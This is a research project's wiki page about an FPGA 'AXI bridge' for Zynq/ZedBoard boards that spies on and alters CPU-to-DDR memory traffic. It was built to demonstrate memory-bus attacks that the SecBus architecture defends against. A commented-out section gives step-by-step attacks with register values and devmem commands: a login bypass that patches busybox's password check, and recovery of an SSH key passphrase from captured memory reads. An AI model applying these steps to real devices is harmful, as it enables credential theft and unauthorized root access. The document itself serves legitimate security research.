|
|
# AXI bridge
|
|
|
|
|
|
In order to demonstrate attacks against the content of the external memories of a SoC and also to test the efficiency of the SecBus architecture, we developed a programmable hardware attacker. The attacker, just like the [AXI simple bridge], sits in the PL, between the CPU and the DDR. But while the simple bridge simply counts the AXI transactions, the AXI bridge can spy at them and even modify them on the fly. Please consult its documentation in the ([download area]) for details.
|
|
|
|
|
|
The AXI bridge can be used with the [Xilinx] [Zynq] cores and the [ZedBoard] prototyping board. Zynq cores embed a ARM processor and all its usual peripherals (USB, Ethernet, flash...) including external memory controllers. This part forms what is named Processing System (PS) in Xilinx terminology. Zynq cores also embed an FPGA matrix, the Programmable Logic (PL).
|
|
|
|
|
|
This page explains how to configure the PL and the software stack to boot a Linux kernel with all accesses to the external DDR flowing through the AXI bridge in the PL.
|
|
|
|
|
|
In Zynq cores, the Processing System (PS) usually accesses its external DDR memory in the `[0x0000_0000, 0x4000_0000[` address range (Regular Address Space or RAS in the following). In order to process the memory accesses it would be convenient to route them to the Programmable Logic (PL), instead. If this was possible, one could simply configure the PL to implement the desired processing and instruct the PS to access its DDR through the PL. Of course, in order for this to work, the PL would have to route the PS requests to the DDR and the DDR responses back to the PS. The kind of processing implemented in the PL can be anything from no processing, monitoring, tracing, cryptography...
|
|
|
|
|
|
Indeed, thanks to the Zynq architecture and its quite dense PS-PL interface, it is possible. The SecBus HSM uses this organization to implement cryptographic processing of the memory accesses (encryption, integrity checking). The AXI bridge presented here implements the same AXI transaction counters as its [simple counterpart][AXI simple bridge], plus programmable eavesdropping and tampering with the AXI transactions. It thus can be used to mount attacks against the content of the external memories, either to extract confidential information or to alter the nominal behaviour of the system. This is the reason why it has been developed: demonstrating attacks and also demonstrating how the SecBus architecture can prevent them.
|
|
|
|
|
|
The PS and the PL communicate through a set of AXI interfaces. The AXI bridge uses 3 of them:
|
|
|
|
|
|
* `AXI_GP0`: 32 bits, master: PS, slave: PL, mapped in the `[0x4000_0000, 0x8000_0000[` address range (Control Address Space or CAS in the following). The PS uses this interface to access the bridge internal registers. These registers are used for debugging (AXI transaction counters, programmable LED activity...) and to control the attacks (programming triggers, transactions capture, injection...).
|
|
|
* `AXI_GP1`: 32 bits, master: PS, slave: PL, mapped in the `[0x8000_0000, 0xc000_0000[` address range (Alternate Address Space or AAS in the following). The PS uses this interface to access the DDR through the bridge.
|
|
|
* `AXI_HP0`: 32 or 64 bits, master: PL, slave: PS. Configured in 32 bits width. The bridge routes all PS requests falling in the AAS, that is, received on the `AXI_GP1` interface, to `AXI_HP0`, after shifting the addresses back in the RAS. This way, accessing an address `A` in the `[0x8000_0000, 0xc000_0000[` range is the same as accessing `A-0x8000_0000` in the `[0x0000_0000, 0x4000_0000[` range, except that it is routed through the PL.
|
|
|
|
|
|
## Getting started
|
|
|
|
|
|
* Prepare a SDCard from which the ZedBoard will boot. Create a FAT32 first partition and make it large enough for the provided archive (you can create more partitions if you wish). Mount it on your host PC. In the following we assume its mount point is `/media/SDCard`.
|
|
|
* Download an archive from the [download area], section "AXI bridge".
|
|
|
* Unpack the archive in the SDCard:
|
|
|
|
|
|
```bash
|
|
|
tar --directory=/media/SDCard -xf <archive>.tgz
|
|
|
```
|
|
|
|
|
|
* Unmount the SDCard, plug it to the ZedBoard, configure the jumpers to boot from the SDCard and connect the USB-UART cable to your host PC.
|
|
|
* Power on the ZedBoard and launch a serial console on your host PC (`minicom`, `cu`, `putty`...):
|
|
|
|
|
|
```bash
|
|
|
minicom -D /dev/ttyACM0
|
|
|
```
|
|
|
|
|
|
* Wait until the Linux kernel boots. Note: the CPU caches (L1 and L2) are disabled for better observability of the CPU memory accesses. This has been achieved with the method described [wiki:DisablingZynqCaches here]. Of course, this slows the CPU down; please be patient when the Linux kernel boots and loads the root file system...
|
|
|
|
|
|
You are done and you are running a minimal GNU/Linux OS with all accesses to the external memory routed to the PL:
|
|
|
|
|
|
![The console](axi-bridge/axi_bridge_console.jpg)
|
|
|
|
|
|
The root password is `secbus`. You can observe the bridge activity thanks to its internal registers. You can also mount attacks, retrieve passwords or cryptographic secret keys, achieve privilege escalations... Please read the documentation for detailed information about the AXI bridge features. Several aliases are defined to ease the interactions with the bridge, as summarized in the welcome banner that shows up in the serial console.
|
|
|
|
|
|
Note: the SD card partition from which the system booted is mounted on `/mnt`, so, if you added some custom files on the SD card, they are in `/mnt`.
|
|
|
|
|
|
Note: the bitstream embeds a Chipscope Integrated Logic Analyzer core allowing to observe the AXI signals from Vivado.
|
|
|
|
|
|
<!--
|
|
|
Example injection attack to bypass the login access control:
|
|
|
|
|
|
```bash
|
|
|
zynq> rtrig 0xE4C31001
|
|
|
zynq> rtrig2 0xE3130003
|
|
|
zynq> rtrig3 0xEBFD84E8
|
|
|
zynq> iread 0xE1A00004
|
|
|
zynq> ival 0xE3A00001
|
|
|
zynq> cfg 0x0000020e
|
|
|
zynq> login root
|
|
|
Password: <any-password-will-work>
|
|
|
```
|
|
|
|
|
|
The SD card archive of the AXI bridge can be found in the [download area].
|
|
|
|
|
|
Now that the linux kernel memory is above `0x40000000`, all memory accesses pass through the Programmable Logic. The DDR only contains memory addresses in the range `[0x0 - 0x1fffffff]`, so the AXI bridge sets the most significant 3 bits in the read and write addresses to `0`, mapping all memory addresses in the range `[0x40000000 -]` to `[0x0 - 0x1fffffff]`.
|
|
|
|
|
|
For versatility and avoiding the need to synthesize a new AXI bridge each time, however, we provide a AXI bridge that may be programmed to search for any sequence of `RDATA` and/or `WDATA` values, and captures and/or modifies subsequent memory accesses. By default, the AXI bridge allows for a pattern of 3 or fewer reads/writes. Registers may be accessed at `0x8000000` + Register Location.
|
|
|
|
|
|
The bridge uses the following internal registers as listed in the table below:
|
|
|
|
|
|
| Register | Register Location | Description |
|
|
|
|:---------------------:|:---------------------:|:------------------------------------------------------------------:|
|
|
|
| PR | 0xC | Contains previous RDATA value, continually updated until trigger |
|
|
|
| W | 0x14 | wdata value after trigger |
|
|
|
| R | 0x18 | rdata value after trigger |
|
|
|
| NUMR | 0x20 | Number of rdata values in trigger pattern |
|
|
|
| RTRIG, RTRIG2, RTRIG3 | 0x24 - 0x2C | Values of consecutive rdata during trigger pattern |
|
|
|
| NUMW | 0x30 | Number of wdata values in trigger pattern |
|
|
|
| WTRIG, WTRIG2, WTRIG3 | 0x34 - 0x3C | Values of wdata during trigger pattern |
|
|
|
| ENABLE | 0x40 | Set to 0x1 to enable recording, 0x0 to reset and disable recording |
|
|
|
| INJECT | 0x44 | Set to 0x1 to enable injection |
|
|
|
| IVAL | 0x48 | Value to inject |
|
|
|
| IREAD | 0x4C | Read value to overwrite during injection |
|
|
|
| IWRITE | 0x50 | Write value during injection |
|
|
|
| FIFO | 0x54 | FIFO read register |
|
|
|
|
|
|
On a rising clock edge, on a valid transaction, the bridge checks if the current `RDATA` or `WDATA` matches the first read trigger/write trigger value. If there is a match, the bridge increments sequence number to search for the next trigger value. If a value does not match, sequence number is reset to `0`. Once sequence number matches the number of rdata/wdata values in the pattern, the trigger is set, and capture or injection begins.
|
|
|
|
|
|
When capture starts, the AXI bridge fills a FIFO buffer with the subsequent `RDATA` values, and stops recording when full. If injection is enabled, after the trigger, the AXI bridge searches for the concurrent `RDATA` and `WDATA` value provided, and replaces the `RDATA`value with the value to inject. On the next rising clock edge, injection is disabled.
|
|
|
|
|
|
## AXI Bridge Attack
|
|
|
|
|
|
As each read/write is filtered through the programmable logic, the AXI bridge may be customized the bridge to swap one instruction for another, as shown in the Login attack.
|
|
|
|
|
|
The provided script `setup_logger.sh` will automatically configure the registers of the bridge given a file with specified read, write, and injection values. The attacker may program the registers using `devmem [address] [width] [value]` after linux is booted.
|
|
|
|
|
|
[https://secbus.telecom-paristech.fr/attachment/wiki/AxiBridge/setup_logger.sh]
|
|
|
[https://secbus.telecom-paristech.fr/attachment/wiki/AxiBridge/ssh_logger.dat]
|
|
|
|
|
|
The file `login_inject.txt` contains the values used by `setup_logger.sh` to program the AXI bridge. Both files must be added to the SD card. Once linux has started, mount the sd card, and run `setup_logger.sh`. A list of `devmem` commands will be printed showing all values written to the registers.
|
|
|
|
|
|
```bash
|
|
|
zynq> ./setup_logger.sh [configuration file]
|
|
|
devmem [address] 32 [value]
|
|
|
...
|
|
|
```
|
|
|
|
|
|
## Login Injection
|
|
|
|
|
|
Using the AXI Bridge, an injection attack can allow for an attacker to gain root access without the password. Since a non-root user is incapable of running `devmem` and configuring the bridge, we synthesize a custom bridge for a single use in logging in without a password.
|
|
|
|
|
|
Through the disassembly of the `busybox` application, we determine the sequence of instructions which authorizes or refuses login. A `mov r0, r4` command puts the result of the string comparison of the encrypted password and user input into register `r0`, `1` if the strings match. If this instruction is replaced with a `mov r0, #1`, then the string comparison is ignored and login is always authorized.
|
|
|
|
|
|
Create and log in as a non-root user. Now, we will attempt to gain root access. Download and program the FPGA with the pre-configured `axi_bridge_login.bit` file provided here: [https://secbus.telecom-paristech.fr/attachment/wiki/Downloading/axi_bridge_login.bit]. Type login, user: root, and an incorrect or blank password, and login should still be authorized.
|
|
|
|
|
|
## SSH Attack
|
|
|
|
|
|
In this attack, we recover the `ssh` passphrase for a `ssh` key by spying on the data accesses. First, set up a new `ssh` key, set up the key manager, and place the public key on a machine as shown below:
|
|
|
|
|
|
```bash
|
|
|
zynq> ssh-keygen
|
|
|
Generating public/private rsa key pair.
|
|
|
Enter file in which to save the key (/root/.ssh/id_rsa):
|
|
|
Created directory '/root/.ssh'.
|
|
|
Enter passphrase (empty for no passphrase): [enter passphrase here]
|
|
|
Enter same passphrase again: [enter passphrase again]
|
|
|
Your identification has been saved in /root/.ssh/id_rsa.
|
|
|
Your public key has been saved in /root/.ssh/id_rsa.pub.
|
|
|
The key fingerprint is:
|
|
|
[generated fingerprint] [user]@[machine]
|
|
|
The key's randomart image is: [generated random art]
|
|
|
zynq> eval $(ssh-agent -s)
|
|
|
Agent pid 770
|
|
|
zynq> ssh-add
|
|
|
Enter passphrase for /root/.ssh/id_rsa: [enter passphrase here]
|
|
|
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)
|
|
|
zynq> cat /root/.ssh/id_rsa.pub | ssh [user]@[machine] "mkdir -p ~/.ss
|
|
|
h && cat >> ~/.ssh/authorized_keys"
|
|
|
The authenticity of host '[machine]' can't be established.
|
|
|
ECDSA key fingerprint is [generated fingerprint]
|
|
|
Are you sure you want to continue connecting (yes/no)? yes
|
|
|
Warning: Permanently added '[machine]' to the list of known hosts.
|
|
|
[user]@[machine]'s password: [enter password here (not passphase)]
|
|
|
```
|
|
|
|
|
|
Then kill the `ssh-agent` as if we were not logged in.
|
|
|
|
|
|
Next, enable the data logger.
|
|
|
|
|
|
```bash
|
|
|
zynq> ./setup_logger.sh ssh_logger.dat
|
|
|
devmem 0x80000024 32 0xE3A00009
|
|
|
devmem 0x80000028 32 0xE3A01000
|
|
|
devmem 0x8000002c 32 0xEB00676B
|
|
|
devmem 0x80000020 32 0x3
|
|
|
devmem 0x80000034 32 0x78787878
|
|
|
devmem 0x80000030 32 0x1
|
|
|
```
|
|
|
|
|
|
Next, log in to the remote machine:
|
|
|
|
|
|
```bash
|
|
|
ssh [user]@[machine]
|
|
|
Enter passphrase for key '/root/.ssh/id_rsa': [enter passphase here]
|
|
|
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.13.0-24-generic x86_64)
|
|
|
|
|
|
* Documentation: https://help.ubuntu.com/
|
|
|
...
|
|
|
Last login: [date]
|
|
|
[user]@[machine]:~$ exit
|
|
|
```
|
|
|
|
|
|
Exit the remote machine, and run `devmem 0x80000054` to access the FIFO. After approximately `10` values `0xE3A07000`, the next 2 values in the FIFO are the first 8 characters of the passphrase.
|
|
|
|
|
|
```bash
|
|
|
zynq> devmem 0x80000054
|
|
|
0x00000000
|
|
|
zynq> devmem 0x80000054
|
|
|
0xE3A07000
|
|
|
...
|
|
|
zynq> devmem 0x80000054
|
|
|
0x656C6574
|
|
|
zynq> devmem 0x80000054
|
|
|
0x006D6F63
|
|
|
```
|
|
|
|
|
|
In this example, the passphrase is `telecom`. The data recovered are the plaintext characters in ascii, each word in reverse order. The decoding is shown below:
|
|
|
|
|
|
```
|
|
|
74: t
|
|
|
65: e
|
|
|
6C: l
|
|
|
65: e
|
|
|
63: c
|
|
|
6F: o
|
|
|
6D: m
|
|
|
```
|
|
|
|
|
|
A separate unique sequence of reads/writes may be found for the next 8 characters, and so on.
|
|
|
-->
|
|
|
|
|
|
[Xilinx]: http://www.xilinx.com/
|
|
|
[Zynq cores]: http://www.xilinx.com/products/silicon-devices/soc/zynq-7000.html
|
|
|
[ZedBoard]: http://www.zedboard.org
|
|
|
[download area]: downloads
|
|
|
[AXI simple bridge]: axi-simple-bridge
|
|
|
|
|
|
<!-- vim: set tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab textwidth=0: --> |